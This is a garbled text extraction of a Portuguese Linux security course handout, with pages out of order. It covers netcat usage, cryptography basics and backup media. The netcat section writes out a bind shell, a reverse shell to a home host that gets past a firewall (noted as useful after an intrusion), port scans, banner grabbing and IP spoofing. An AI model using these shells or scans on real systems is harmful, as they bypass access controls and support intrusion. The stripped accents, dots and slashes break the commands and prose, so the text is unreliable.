em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 12: Curso de segurança em linux e redes em geral

2) Satildeo arquivos natildeo cifrados logo podem ser facilmente alterados por um hackerProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 13 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200535) Scripts entre sites1) Um usuaacuterio pode ser atraiacutedo a executar um coacutedigo malicioso contra um site2) Pode ocorrer quando um usuaacuterio recebe um e-mail com um Hiperlink3) Ao clicar no link ele eacute direcionado ao site com o coacutedigo malicioso4) O servidor web aceita o coacutedigo pensando ser de um usuaacuterio confiaacutevel e o executa5) Este script poderaacute fornecer ao hacker informaccedilotildees confidenciais sobre o usuaacuterio36) Vulnerabilidades do Sistema Operacional e das Aplicaccedilotildees1) Haacute falhas de seguranccedila em todos os sistemas operacionais e aplicaccedilotildees2) Monitorar falhas e aplicar os patches3) Fornecedores relutam em publicar os pontos fracos4) Configuraccedilotildees mal feitas portas dos fundos e depuraccedilotildees tambeacutem podem deixar o sitevulneraacutevel5) Programadores tambeacutem podem deixar comandos de depuraccedilatildeo que foram uacuteteis durante odesenvolvimento mas agora representa um grande riscoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 14 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054) A criptografia e seu usoA criptografia eacute a arteciecircncia de escrever de forma cifradacodificada Ou seja eacute o conjunto deteacutecnicas que permite reescrever uma mensagem ldquoclarardquo de forma incompreensiacutevel e permitir que somente odestinataacuterio entenda a mensagemA criptografia tem por finalidade garantir a privacidade atraveacutes do uso de algoritmos que trabalhamcomo funccedilotildees matemaacuteticas que mapeiam um dado de entrada em uma outra informaccedilatildeo na saiacuteda que eacute naverdade o texto cifradoA palavra criptografia vem do grego krypto = esconder + grafo = escritagrafiaA criptoanaacutelise eacute a ciecircncia de determinar a chave de criptografia ou decifrar as mensagens Acriptologia eacute a ciecircncia que combina ambas as anteriores E o criptanalista pode ser tanto o mocinhoquanto o vilatildeoOs componentes baacutesicos de uma estrutura de criptografia satildeo1) Dado de entrada - texto plano2) Funccedilatildeo de mapeamento - algoritmo de criptografia3) Segredo - chave que cifra eou decifra4) Dado de saiacuteda - texto cifrado41) Sistema Criptograacutefico

Estes sistemas podem ser baseados em dois tipos de algoritmos nos restritos e nos modernosAqueles que se baseiam nos algoritmos modernos podem ser simeacutetricos e assimeacutetricos Os sistemassimeacutetricos fazem uso de somente uma chave dai o seu nome jaacute os sistemas assimeacutetricos fazem uso deduas chaves a puacuteblica e a privada411) Algoritmos restritos1) O algoritmo eacute o segredo2) Natildeo eacute muito seguro3) Satildeo difiacuteceis de se desenvolver e distribuir enquanto continuam secretosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 15 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005412) EsteganografiaEsconder uma mensagem secreta em outra mensagem Exemplos1) Tinta invisiacutevel - mensagem publica usando ldquotinta normalrdquo e a secreta usando tinta ldquoinvisiacutevelrdquo2) Imagem graacutefica1) Incluir uma mensagem secreta dentro de uma ldquofigurardquo2) Ou em se cabeccedilalho de dados413) Cifras de substituiccedilatildeo1) Longo histoacuterico2) Substitui cada caraacuteter do texto puro para um outro siacutembolo na mensagem secreta3) As substituiccedilotildees podem ser arbitraacuterias ou podem ter um padratildeo determinado como umarotaccedilatildeo do alfabeto4) Satildeo faacuteceis de descobrir devido aos padrotildees de letra e frequumlecircncia em cada linguagemExemplo Taquigrafia Coacutedigo Morse American Standart Code For Informatran Interchange(ASCII)414) Cifras de Transposiccedilatildeo1) Mantem o coacutedigo puro intacto mas trocam ou misturam a ordem de alguma forma2) Uma versatildeo desta teacutecnica eacute a ldquoCifra de transposiccedilatildeo colunar simplesrdquoExemplo de funcionamento(1) Definiccedilatildeo da cifra originalTHIS IS A SIMPLE COLUMNAR TRANSPOSITION CIPHER(2) Definiccedilatildeo do formato da matrizFrase ndash 40 caracteresGrade ndash 8 colunas5 linhasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 16 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(3) Inserindo dados na gradeT H I S I S A SI M P L E C O L

U M N A R T R AN S P O S I T IO N C I P H E R(4) Reescrita da cifra = seguindo-se as colunas verticalmenteTIUNO HMMSN IPNPC SLAOIIERSP SCTIH AORTE SLAIRVersotildees mais sofisticadas usam padrotildees mais complexos como ziguezague pela gradeComo as palavras estatildeo mantendo a mesma frequumlecircncia esta teacutecnica eacute facilmente detectadae quebrada42) Teacutecnicas Modernas de Codificaccedilatildeo1) Usam algoritmos irrestritos e chaves para manter as informaccedilotildees seguras2) Superiores aos sistemas de algoritmo restrito3) Muitos possuem anos de resistecircncia agrave criptoanaacutelise intensa4) Muitas pessoas podem usar o mesmo algoritmo basta mudar a chave5) Quando a chave for comprometida basta gerar uma nova6) Duas teacutecnicas baacutesicas1) Criptografia simeacutetrica2) Criptografia assimeacutetrica ou criptografia puacuteblica7) Muitos sistemas usam ambas as teacutecnicas421 Criptografia Simeacutetrica1) Conhecido como codificaccedilatildeo de chave secreta2) Uma mesma chave utilizada para codificar e decodificar3) Desta forma a chave eacute o segredo4) Eacute muito utilizada em conexotildees seguras para realizar a troca das chaves temporaacuteriasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 17 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Exemplo de algoritmos1) DES ndash Data Encyptron Standard2) Triple DES3) IDEA ndash International Data Encyption Algorithm4) Blowfish5) Rot 136) RCSEstes algoritmos podem ser de dois tipos1) Algoritmos de Fluxo ndash que trabalham com o texto um byte por vez2) Algoritmos de Bloco ndash trabalham sobre blocos de tamanha fixoOs sistemas simeacutetricos satildeo mais simples e mais raacutepidos do que aqueles de chave puacuteblica (1000 vezesmais raacutepido) mas possui a desvantagem de que dois usuaacuterios distintos tenham conhecimento do mesmosegredo (chave) Ambos os usuaacuterios satildeo responsaacuteveis pela seguranccedila da chave422 Criptografia para chave puacuteblica (assimeacutetrica)Foi criada em 1976 por dois matemaacuteticos de Stanford Whitfield Diffie e Martin Hellman Esta

resolve o problema do uso da chave secreta existente na criptografia simeacutetrica para tal faz uso de duaschaves (privada - cifra e puacuteblica- decifra) Estas duas chaves satildeo diferentes contudo possuem umrelacionamento matemaacutetico todavia natildeo eacute possiacutevel derivar a chave privada a partir da puacuteblica e vice-versaelas se baseiam em nuacutemeros primos fatoraccedilatildeo logaritmos e outras funccedilotildees matemaacuteticas Neste caso otamanho da chave eacute quem determina a eficiecircncia do processoO principal deste tipo de criptograma eacute o RSA criado por Ron L Rivert Adi Shamir e LeonardAdelman a seguranccedila deste algoritmo se baseia na dificuldade de se fatorar nuacutemeros extensos Segundopesquisadores para desvendar o sistema RSA Data Security usando uma chave de 760 bits seriamnecessaacuterios 4300 computadores e 50 anosO uso destas chaves permite o estabelecimento da conexatildeo segura entre duas entidades sem opreacutevio conhecimento das chaves Visto que quando uma entidade ldquoXrdquo precisa enviar uma mensagem paraldquoYrdquo ela usa a chave puacuteblica de ldquoYrdquo para cifrar a mensagem e somente a entidade ldquoYrdquo seraacute capaz dedecifrar a mensagem pois ldquosomenterdquo ela conhece a sua chave privadaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 18 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005423 Criptossistemas HibridosEstes sistemas fazem uso do sistema de chave puacuteblica apenas para realizarem o envio e troca dechaves para a transmissatildeo de dados eacute utilizada a criptografia simeacutetrica e a chave enviada anteriormente OCriptossistemas hiacutebridos aproveitam o melhor das duas tecnologias Um exemplo de sistema hiacutebrido eacute oimplementado pelo protocolo ldquoHTTPSrdquo largamente usado em e-commerceExemplo de funcionamento 43) Outros recursos dos criptossistemasAleacutem da confidenciabilidade os criptossistemas podem ser estilizados para a autenticaccedilatildeoverificaccedilatildeo de integridade e reconhecimento1) Autenticaccedilatildeo ndash permite garantir que uma pessoa eacute quem realmente afirma ser2) Integridade ndash garante que os dados natildeo foram alterados durante a transmissatildeo3) Reconhecimento ndash garante que o emissor de dados eacute uma pessoa especiacutefica e que odestinataacuterio realmente recebeu os dados Impede o repuacutedio de informaccedilotildees431)Meacutetodos de seguranccedila que utilizam criptografiaAtualmente a criptografia estaacute sendo largamente utilizada para proteger de vaacuterias formas os dados

que estatildeo em tracircnsito pela rede ou armazenados nos discos oacuteticos e magneacuteticos das maacutequinas Dentre osmeacutetodos atualmente disponiacuteveis podemos destacar4311)Funccedilatildeo de Hash Unidirecional1) Permite verificar a integridade de uma mensagem ou bloco de dados2) Eacute um valor exclusivo a mensagem3) Serve como impressatildeo digital4) A mensagem original natildeo pode ser derivada a partir do HashDentre os algoritmos que fazem uso desta teacutecnica podemos destacar Secure Hash Algorithm ndashProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 19 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20051 (SHA ndash 1) RIPEM MD5 e HAVAL4312) Coacutedigo de Autenticaccedilatildeo de mensagem (MACs)1) Garante a autenticaccedilatildeo e integridade dos dados2) Hash Unidirecional + chave secreta3) Semelhante a criptografia simeacutetrica4) Natildeo se preocupam em manter os dados secretos ou sua integridade4313) Assinaturas DigitaisPermite que o destinataacuterio de uma mensagem digital possa verificar a autenticidade do seuremetente E que a mensagem natildeo foi de forma alguma alterada durante o processo de transferecircncia vistoque uma assinatura digital que tenha sido verificada natildeo pode ser negada ela fornece um elevado niacutevel deconfianccedila no processo de transaccedilotildees eletrocircnicas e autenticaccedilatildeo de documentos digitaisO processo das Assinaturas Digitais se baseia na existecircncia de duas chaves uma puacuteblica e umaprivada Neste caso o remetente codifica a mensagem utilizando a sua chave privada e somente o usuaacuterioque possui a sua chave puacuteblica poderaacute ler a mensagemUma assinatura digital possui as seguintes propriedades1 Garante a Autenticidade2 Natildeo pode ser forjada3 Natildeo eacute reutilizaacutevel4 Natildeo pode ser repudiada5 Vaacutelida certificados6 Pode ser utilizada em assinaturas eletrocircnicas7 Autentica verifica a integridade e faz o reconhecimento de mensagem8 Pode ser utilizada como Hash de um documentoAlgoritmos1) RSA2) Digital Signature Algotithm (DSA)3) Digital Signature Standard (DSS)Usa a chave privada para assinar o documento e o destinataacuterio usa a sua chave puacuteblica paraverificar sua assinatura

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 20 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054314) Certificados Digitais1) Permite reconhecervalidar certificados emitidos2) Verificaccedilatildeo das chaves por um terceiro de confianccedila ndash autoridades de certificado (CAS)3) Possuem uma taxa de ativaccedilatildeo e validade4) Um certificado digital eacute composto da chave privada e publica do indiviacuteduo mais a assinatura daCA5) Autoridades certificadoras Versign Inc Secure Net Technologia6) Alguns governos como Estados Unidos e Brasil funcionam como certificadores7) Algumas instituiccedilotildees possuem sua proacutepria autoridade para codificaccedilatildeo interna de dados4315) Kerberos1) Serviccedilo de autenticaccedilatildeo (MIT)2) Cifras para codificaccedilatildeo e autenticaccedilatildeo3) Constituiacutedo de um Banco de Dados de Cifra4) Apoacutes o login gera e distribui as chaves de sessatildeo5) Quando o autenticador eacute quebrado todo sistema pode entrar em colapso6) Natildeo eacute indicado para uso entre domiacutenios de seguranccedila44 ) Principais Tipos de Ataques de Codificaccedilatildeo1) Ataque de texto conhecido - Baseia-se na suposiccedilatildeo de uma vasta quantidade de textos cifrados edas mensagens originais a que a funccedilatildeo do especialista criptoanalista eacute descobrir as chavesutilizadas2) Ataque adaptativo do texto escolhido (adaptative ndash choosen ndash plaintext) ndash Neste segundo casoele submete pequenos conjuntos de dados obteacutem o resultado analisa fornece um novo conjunto eassim sucessivamente ateacute que seja capaz de deduzir as chaves3) Ataque do texto cifrado escolhido (choosen ndash cyphertext) ndash o especialista possui uma vastagama de mensagem e os equivalentes dados cifrados mas eacute capaz de produzir uma mensagemcriptografada especiacutefica para ser decifrada e obter o resultado produzidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 21 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20055) BackupEacute atraveacutes do processo de backup que podemos garantir a seguranccedila de vaacuterios tipos de dados Esteprocesso consiste em realizar uma coacutepia total ou parcial de forma on-line ou off-line dos dados armazenadosnas estaccedilotildees de trabalho eou nos servidores de um determinado ambienteContudo dependendo as caracteriacutesticas do ambiente e das necessidades presentes do mesmo o

processo de backup pode variar largamente deste modo se faz necessaacuterio o uso de criteacuterios paradeterminar a melhor forma para sua realizaccedilatildeo Deste os criteacuterios que podem influenciar o processo debackup satildeo1 A quantidade de dados a serem protegidos2 A frequumlecircncia com que os dados devem ser copiados3 Tempo de realizaccedilatildeo do backup e do restore dos dados4 A confidencialidade fornecida pelo processo5 O custo do processo e o valor das informaccedilotildees6 O prejuiacutezo gerado pela perda parcial ou total dos dados51) Meios de armazenamentoDefinida as necessidades baacutesicas a serem atendidas devemos selecionar um do tipos dearmazenamento que podem ser on-line Proacuteximos e off-lineAs miacutedias de armazenamento on-line consiste em discos riacutegidos ou arrays de discos Estas miacutediasfornecem uma disponibilidade em tempo real e satildeo normalmente utilizados para fornecer uma formaaltrnativa de armazenamento Estas miacutedias natildeo substituem os backups offlineO armazenamento proacuteximo eacute formado por ldquoJukeboxesrdquo oacuteticos e coacutepias locais que estatildeorapidamente acessiacuteveis normalmente fazem uso de robos para gerenciarem as miacutedias fornecendo umacesso raacutepido aos dados quando o serviccedilo on-line natildeo estaacute disponiacutevelJaacute o armazenamento off-line consiste no arquivamento de miacutedias fora da rede de dados em um localseguro e protegido contra roubo cataacutestrofes naturais e outros ameccedilas Sempre que possiacutevel as miacutediasdevem ser armazenadas em local geograacuteficamente diferente e fora das instalaccedilotildees comerciais da empresaPara a realizaccedilatildeo deste tipos de backup podem ser utilizadas trecircs tipos de miacutedias diferentesfitasdiscos magneacuteticos armazenamento oacutetico e arrays de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 22 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005As fitas magneacuteticas satildeo as miacutedias mais comuns mais baratas utilizadas nos backups off-line maspor outro lado satildeo as mais lentas e que ocupam um grande espaccedilo Seus principais tipos satildeo 8mmTravan DLT DAT e MagstarO 